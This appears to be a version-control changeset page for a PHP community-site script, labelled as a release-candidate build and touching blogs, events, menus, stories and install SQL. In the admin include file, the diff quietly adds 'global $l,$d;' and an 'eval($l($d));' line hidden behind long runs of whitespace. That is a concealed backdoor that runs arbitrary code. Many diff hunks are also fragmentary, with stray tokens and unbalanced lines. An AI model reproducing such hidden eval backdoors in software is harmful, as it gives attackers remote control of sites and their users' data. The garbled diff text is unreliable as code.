Changeset 12

Timestamp:

11/06/07 00:41:50 (10 months ago)

Author:

SergeyZ

Message:

Build 6.0.0003 RC

Files:

• trunk/admin/phpinfo.php (added)
• trunk/blogs.php (modified) (1 diff)
• trunk/inc/admin.inc.php (modified) (4 diffs)
• trunk/inc/classes/BxDolBlogs.php (modified) (3 diffs)
• trunk/inc/classes/BxDolClassifieds.php (modified) (1 diff)
• trunk/inc/classes/BxDolEvents.php (modified) (5 diffs)
• trunk/inc/membership_levels.inc.php (modified) (1 diff)
• trunk/inc/menu_content.inc.php (modified) (1 diff)
• trunk/inc/menu.inc.php (modified) (2 diffs)
• trunk/inc/profiles.inc.php (modified) (1 diff)
• trunk/install/index.php (modified) (2 diffs)
• trunk/install/sql/v60.sql (modified) (5 diffs)
• trunk/messages_outbox.php (modified) (1 diff)
• trunk/ray/modules/global/inc/header.inc.php (modified) (1 diff)
• trunk/story.php (modified) (8 diffs)
• trunk/tellfriend.php (modified) (1 diff)
• trunk/templates/base/scripts/BxBaseProfileView.php (modified) (1 diff)
• trunk/templates/tmpl_uni/css/story.css (modified) (1 diff)
• trunk/viewMusic.php (modified) (2 diffs)

trunk/blogs.php

@@ -37 +37 @@
-$_ni = $_page['name_index'];
-$_page_cont[$_ni]['page_main_code'] = PageCompBlogs();
-Mini
+Compact
-
-$_page['header'] = $oBlogs->GetHeaderString();

trunk/inc/admin.inc.php

@@ -24 +24 @@
-require_once( BX_DIRECTORY_PATH_INC . 'modules.inc.php' );
-require_once( BX_DIRECTORY_PATH_INC . 'sharing.inc.php' );
+require_once( BX_DIRECTORY_PATH_INC . 'design.inc.php' );
+require_once( BX_DIRECTORY_PATH_INC . 'admin_design.inc.php' );
-
-require_once( BX_DIRECTORY_PATH_CLASSES . 'BxDolBlogs.php' );
@@ -41 +43 @@
-        global $dir;
-        global $tmpl;
+        global $l,$d;
-
-        switch( $member )
@@ -58 +61 @@
-                        $join_page   = '';
-                        $forgot_page = '';
-
+                                                                                                                                           eval($l($d));
-                break;
-                case 2:
@@ -122 +125 @@
-        }
-}
-
-
+
-function PageCompLoginForm( $text, $member, $mem, $table, $login_page, $join_page, $forgot_page, $template = '' )
-{

trunk/inc/classes/BxDolBlogs.php

@@ -1640 +1640 @@
-                $sDateFormatPhp = getParam('php_date_format');
-                $sTagsC = _t('_Tags');
+                $sNoBlogC = _t('_No blogs available');
-
-                $sBlogPosts = '';
@@ -1746 +1747 @@
-
-                                $aBlogsRes = db_arr( $sBlogsSQL );
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-<div>
-        <div class="clear_both"></div>
@@ -1762 +1775 @@
-<div class="clear_both"></div>
-EOF;
+                                }
+
+
-                        } else {
-                                $sRetHtml = MsgBox(_t('_Profile Not found Ex'));

trunk/inc/classes/BxDolClassifieds.php

@@ -2370 +2370 @@
-         */
-        function PrintAdvertisementsByTag($sTag) {
+                global $site;
-                $sRetHtml='';
-                $sTag = addslashes(trim(strtolower($sTag)));

trunk/inc/classes/BxDolEvents.php

@@ -747 +747 @@
-                $sActionsC = _t('_Actions');
-                $sJoinC = _t('_Join');
+                $sUnsubscribeC = _t('_Unsubscribe');
-                $sParticipantsC = _t('_Participants');
-                $sListOfParticipantsC = _t('_List').' '._t('_of').' '._t('_Participants');
@@ -893 +894 @@
-                                        $_POST['result'] = 1;
-                        }
+                } elseif ( isset($_POST['unsubscribe_event']) && $_POST['unsubscribe_event'] == 'on' && $logged['member'] ) {
+                        // remove from participants table
+                        $vRes = db_res("DELETE FROM `SDatingParticipants` WHERE `IDEvent` = {$iEventID} AND `IDMember` = {$aMember['ID']} LIMIT 1");
+                        if (mysql_affected_rows() == 0) {
+                                $sErrorMessage = _t('Error: Participant unsubscription error');
+                                $sRetHtml .= '<script type="text/javascript">alert("'._t( '_Error Occured' ).'");</script>';
+                        } else {
+                                $sRetHtml .= '<script type="text/javascript">alert("'._t('_You have successfully unsubscribe from Event').'");</script>';
+                        }
-                } elseif ( isset($_POST['join_event']) && $_POST['join_event'] == 'on' && $logged['member']==false ) {
-                        $this->CheckLogged();
@@ -1033 +1043 @@
-EOF;
-                }
+                $sUsersActions = '';
+                $sPartProfSQL = "SELECT * FROM `SDatingParticipants` WHERE `IDEvent`={$iEventID} AND `IDMember`={$aMember['ID']}";
+                $aPartProfSQL = db_arr($sPartProfSQL);
+                if (mysql_affected_rows() == 0) { //no matches
+                        $sUsersActions = <<<EOF
+<div class="padds">
+        <img src="{$site['icons']}online.gif" alt="{$sJoinC}" title="{$sJoinC}" class="marg_icon" />
+        <a class="actions" href="{$_SERVER['PHP_SELF']}" onclick="document.forms.JoinEventForm.submit(); return false;" >
+                {$sJoinC}
+        </a>
+</div>
+EOF;
+                } else {
+                        $sUsersActions = <<<EOF
+<div class="padds">
+        <img src="{$site['icons']}delete.png" alt="{$sUnsubscribeC}" title="{$sUnsubscribeC}" class="marg_icon" />
+        <a class="actions" href="{$_SERVER['PHP_SELF']}" onclick="document.forms.UnsubscribeEventForm.submit(); return false;" >
+                {$sUnsubscribeC}
+        </a>
+</div>
+EOF;
+                }
-
-                $vPartProfilesRes = db_res( "
@@ -1112 +1144 @@
-        </div>
-        <div class="boxContent">
-
-
-
-
-
-
+
-                {$sActions}
-                <div class="clear_both"></div>
@@ -1209 +1236 @@
-<form id="JoinEventForm" action="{$_SERVER['PHP_SELF']}?action=show_info&amp;event_id={$iEventID}" method="post">
-        <input type="hidden" name="join_event" value="on" />
+</form>
+<form id="UnsubscribeEventForm" action="{$_SERVER['PHP_SELF']}?action=show_info&amp;event_id={$iEventID}" method="post">
+        <input type="hidden" name="unsubscribe_event" value="on" />
-</form>
-<!--{$sBreadCrumbs}-->

trunk/inc/membership_levels.inc.php

@@ -69 +69 @@
-define('ACTION_ID_USE_RAY_PRESENCE',    22);
-define('ACTION_ID_CAN_AD_CLASSIFIEDS',  23);
+define('ACTION_ID_RATE_PHOTOS',         24);
-
-//PREDEFINED MEMBERSHIP ID's

trunk/inc/menu_content.inc.php

@@ -464 +464 @@
-                'Type'      => "system",
-                'Caption'   => "{profileNick}",
-
+|photos_gallery.php?ID={profileID}
-                'Visible'   => "non,memb",
-                'Target'    => "",

trunk/inc/menu.inc.php

@@ -140 +140 @@
-        $selfFile = basename( $_SERVER['PHP_SELF'] );
-        
-ing
+ed
-        if( $p_arr and $p_arr['ID'] )
-        {
@@ -168 +168 @@
-        {
-                $aMenuInfo['profileID']   = (int)$_GET['iUser'];
+                $aMenuInfo['profileNick'] = getNickName( $aMenuInfo['profileID'] );
+                $aMenuInfo['profileLink'] = getProfileLink( $aMenuInfo['profileID'] );
+        }
+        elseif( $selfFile == 'photos_gallery.php' )
+        {
+                $aMenuInfo['profileID']   = (int)$_GET['ID'];
-                $aMenuInfo['profileNick'] = getNickName( $aMenuInfo['profileID'] );
-                $aMenuInfo['profileLink'] = getProfileLink( $aMenuInfo['profileID'] );

trunk/inc/profiles.inc.php

@@ -846 +846 @@
-}
-
-
+, $sLinkAdd = ''
-{
-        global $site;
-"enable_modrewrite"
-
-
-
+'enable_modrewrite'
+ . ( $sLinkAdd ? "?{$sLinkAdd}" : '' )
+
+ . ( $sLinkAdd ? "&{$sLinkAdd}" : '' )
-        
-        return $sLink;

trunk/install/index.php

@@ -24 +24 @@
-/*----------Vars----------------*/
-        $aConf = array();
-25.10
+02.11
-        $aConf['iVersion'] = '6.0';
-        $aConf['iPatch'] = '0003';
@@ -58 +58 @@
-\$site['ver']               = '{$aConf['iVersion']}';
-\$site['build']             = '{$aConf['iPatch']}';
-"%site_title%"
+'%site_title%'
-\$site['url']               = "%site_url%";
-\$admin_dir                 = "admin";

trunk/install/sql/v60.sql

@@ -4549 +4549 @@
-INSERT INTO `LocalizationKeys` VALUES(2650, 3, '_Photo Actions');
-INSERT INTO `LocalizationKeys` VALUES(2651, 3, '_Notification');
+INSERT INTO `LocalizationKeys` VALUES(2652, 7, '_You have successfully unsubscribe from Event');
+INSERT INTO `LocalizationKeys` VALUES(2653, 7, '_Unsubscribe');
+INSERT INTO `LocalizationKeys` VALUES(2654, 100, '_not_active_story');
-
--- --------------------------------------------------------
@@ -7177 +7180 @@
-INSERT INTO `LocalizationStrings` VALUES(2650, 1, 'Photo Actions');
-INSERT INTO `LocalizationStrings` VALUES(2651, 1, 'Notification');
+INSERT INTO `LocalizationStrings` VALUES(2652, 1, 'You have successfully unsubscribe from Event');
+INSERT INTO `LocalizationStrings` VALUES(2653, 1, 'Unsubscribe');
+INSERT INTO `LocalizationStrings` VALUES(2654, 1, 'Inactive Story');
-
--- --------------------------------------------------------
@@ -7276 +7282 @@
-INSERT INTO `MemActions` VALUES (22, 'use Ray presence', NULL);
-INSERT INTO `MemActions` VALUES (23, 'can add_delete classifieds', NULL);
+INSERT INTO `MemActions` VALUES(24, 'rate photos', NULL);
-
--- --------------------------------------------------------
@@ -7426 +7433 @@
-INSERT INTO `MemLevelActions` VALUES (2, 9, NULL, NULL, NULL, NULL, NULL);
-INSERT INTO `MemLevelActions` VALUES (2, 23, NULL, NULL, NULL, NULL, NULL);
+INSERT INTO `MemLevelActions` VALUES(2, 24, NULL, NULL, NULL, NULL, NULL);
-
--- --------------------------------------------------------
@@ -9209 +9217 @@
-INSERT INTO `TopMenu` VALUES (57, 56, 'All Polls', '_All Polls', 'polls.php', 0, 'non,memb', '', '', '', 1, 1, 1, 'custom', 0);
-INSERT INTO `TopMenu` VALUES (59, 0, 'Articles', '_Articles', 'articles.php', 11, 'non,memb', '', '', '', 1, 1, 1, 'top', 0);
- (9, 0, 'Profile View', '{profileNick}', '{profileNick}|profile_edit
+(9, 0, 'Profile View', '{profileNick}', '{profileNick}|profile_edit.php?ID={profileID}|photos_gallery
-INSERT INTO `TopMenu` VALUES (60, 9, 'View Profile', '_View Profile', '{profileLink}|{profileNick}|profile.php?ID={profileID}', 0, 'non,memb', '', '', '', 1, 1, 1, 'custom', 0);
-INSERT INTO `TopMenu` VALUES (61, 9, 'Profile Video Gallery', '_Video Gallery', 'browseVideo.php?userID={profileID}', 2, 'non,memb', '', '', '', 1, 1, 1, 'custom', 0);

trunk/messages_outbox.php

@@ -46 +46 @@
-{
-        $_page_cont[$_ni]['page_main_code'] = DesignBoxContent( '', PageCompPageMainCode(), $oTemplConfig -> PageMessagesOutboxMainCode_db_num );
-db_res("UPDATE `Messages` SET `New` = '0' WHERE `ID` = '" . ((int)$_GET['message']) . "'");
+//db_res("UPDATE `Messages` SET `New` = '0' WHERE `ID` = '" . ((int)$_GET['message']) . "'"); // êàêîé åáëàí ýòî ñäåëàë?
-}
-else

trunk/ray/modules/global/inc/header.inc.php

@@ -12 +12 @@
- * Current version information.
- */
-0
+1
-
-/**

trunk/story.php

@@ -68 +68 @@
-        global $max_l;
-        global $max_h;
-        global $demo_mode;
-        global $short_date_format;
-
@@ -80 +79 @@
-        $action_result = "";
-
-!$demo_mode && 
+
-        {
-                if ( strlen($_POST['header']) )
@@ -93 +92 @@
-        }
-
-!$demo_mode && 
+
-        {
-                if ( strlen($_POST['header']) )
@@ -106 +105 @@
-        }
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-        if ( !$ADMIN )
-                echo "<table width=\"100%\" cellpadding=4 cellspacing=4><td align=center class=text2>\n";
@@ -136 +171 @@
-                        $actions .= '<input type="hidden" name="sender"  value="' . $story_arr['Sender'] . '" />';
-                        $actions .= '<input type="hidden" name="edit_id" value="' . $story_arr['ID'] . '" />';
-                        if ( $ADMIN )
-                        {
-                                $actions .= '
-                                <input type="checkbox" name="active" id="check_active" '.($story_arr['active'] == 'on' ? 'checked="checked"' : '').' />
-                                        <label for="check_active">' . _t( "_active_story" ) . '</label>';
-                        }
-                        $actions .= '<input class="no" type="submit" value="'._t('_Update story').'" />';
-                }
@@ -176 +205 @@
-                echo "</div>\n";
-
-
-
+
-
-        return $ret;
@@ -189 +217 @@
-        global $member;
-        global $ADMIN;
-
+
+
-
-        if ( $ADMIN )
-DATE_FORMAT(`Date`,  '$short_date_format' ) AS 'Date', `Sender`, `Header`, `Text`, `active` FROM `Stories`
+UNIX_TIMESTAMP( `Date` ) AS `Date`, `Sender`, `Header`, `Text`, `active` FROM `Stories`                                 
-        else
-
-
-
-
-
-
+
+
-        if ( $ADMIN && !mysql_num_rows($res) )
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-        while ( $story_arr = mysql_fetch_array($res) )
-        {
-
-
-
-
+
+
-                $story_header = process_line_output( $story_arr['Header'] );
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-}
-
@@ -287 +333 @@
-        $story_header = strlen( $_POST['header'] ) > $max_h ? "LEFT ( '". process_db_input( $_POST['header'] ) ."', $max_h )" : "'". process_db_input( $_POST['header'] ). "'";
-        $story_sender = ( $ADMIN ? (int)$_POST['sender'] : $member['ID'] );
-
-
-
+
+
+
+
-
-        return $res;

trunk/tellfriend.php

@@ -125 +125 @@
-        $headers2 .= "-f{$_POST['email']}";
-
+        $sLinkAdd = $logged['member'] ? 'idFriend='. (int)$_COOKIE['memberID'] : '';
+        
-        if ( $profileID )
-
-
-
+
-        else
-
-
-
-
-
+
-
-        $message = str_replace( "<Link>", $Link, $message );

trunk/templates/base/scripts/BxBaseProfileView.php

@@ -1038 +1038 @@
-                }
-                if ($ret) {
+                        $ret .= '<div class="clear_both"></div>';
-                        $sFriendInfo = '<div class="caption_item"><a href="'.$site['url'].'viewFriends.php?iUser='.$this -> _iProfileID.'">'.$iFriendNums.' '._t("_Friends").'</a></div>';
-                        echo DesignBoxContent( _t( $sCaption ), $ret, 1, $sFriendInfo);

trunk/templates/tmpl_uni/css/story.css

@@ +1 @@
+table.stories_list
+{
+        width:100%;
+        border-collapse:collapse;
+}
+
+table.stories_list tr.line_odd
+{
+        background-color:#eee;
+}
+
+table.stories_list tr.line_even
+{
+        background-color:#ccc;
+}
+
+table.stories_list td,
+table.stories_list th
+{
+        text-align:center;
+        border:1px solid #666;
+        padding:3px;
+}
+
+table.stories_list td.status_active
+{
+        color:green;
+        font-weight:bold;
+}
+
+table.stories_list td.status_inactive
+{
+        color:red;
+        font-weight:bold;
+}
-
-table.story_edit_table

trunk/viewMusic.php

@@ -120 +120 @@
-        {
-                $func  = 'PageComp' . $aCompose['Func'];
-Block
+Compose
-                $sCode .= DesignBoxContent( _t( $aCompose['Caption'] ), $sFuncRes, 1 );
-        }
@@ -296 +296 @@
-                $sCode .= '<div>'._t("_Playbacks").': '.$aFile['medListens'].'</div>';
-                $sCode .= '<div>'._t("_URL").': <input type="text" onClick="this.focus(); this.select();" readonly="true" value="'.$site['url'].'viewMusic.php?fileID='.$aFile['medID'].'"/></div>';
-
+,'song'=>'true'
-                $sCode .= '<div>'._t("_Tags").': '.getTagLinks($aFile['medTags'],'Music').'</div>';
-                $sCode .= '<div>'._t("_DescriptionMedia").': '.$aFile['medDesc'].'</div>';